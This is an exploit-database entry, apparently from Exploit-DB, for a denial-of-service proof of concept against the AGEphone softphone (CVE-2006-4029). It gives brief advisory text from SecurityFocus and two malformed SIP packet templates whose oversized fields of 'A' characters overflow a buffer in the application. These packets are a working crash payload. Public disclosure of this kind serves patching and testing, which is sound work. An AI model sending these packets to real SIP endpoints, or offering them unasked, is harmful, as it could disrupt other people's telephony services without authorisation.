AGEphone 1.28/1.38 - SIP Packet Handling Buffer Overflow (PoC)

Author: Tan Chew Keong
type: dos
platform: windows
port: 0
date_added: 2006-07-24
date_updated: 2013-09-13
verified: 1
codes: CVE-2006-4029;OSVDB-27489
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/19148/info

AGEphone is prone to a remote buffer-overflow vulnerability.

Specifically, this issue presents itself when the application handles a malicious SIP (Session Initiation Protocol) packet.

AGEphone versions 1.24 and 1.38.1 are reported vulnerable; other versions may be affected as well.

SIP/AAAAAAAA[approx-68-bytes]AAAAAA 1 A
From: test
To: test

Or:

SIP/A 1 AAAAAAAA[approx-48-bytes]AAAAAA
From: test
To: test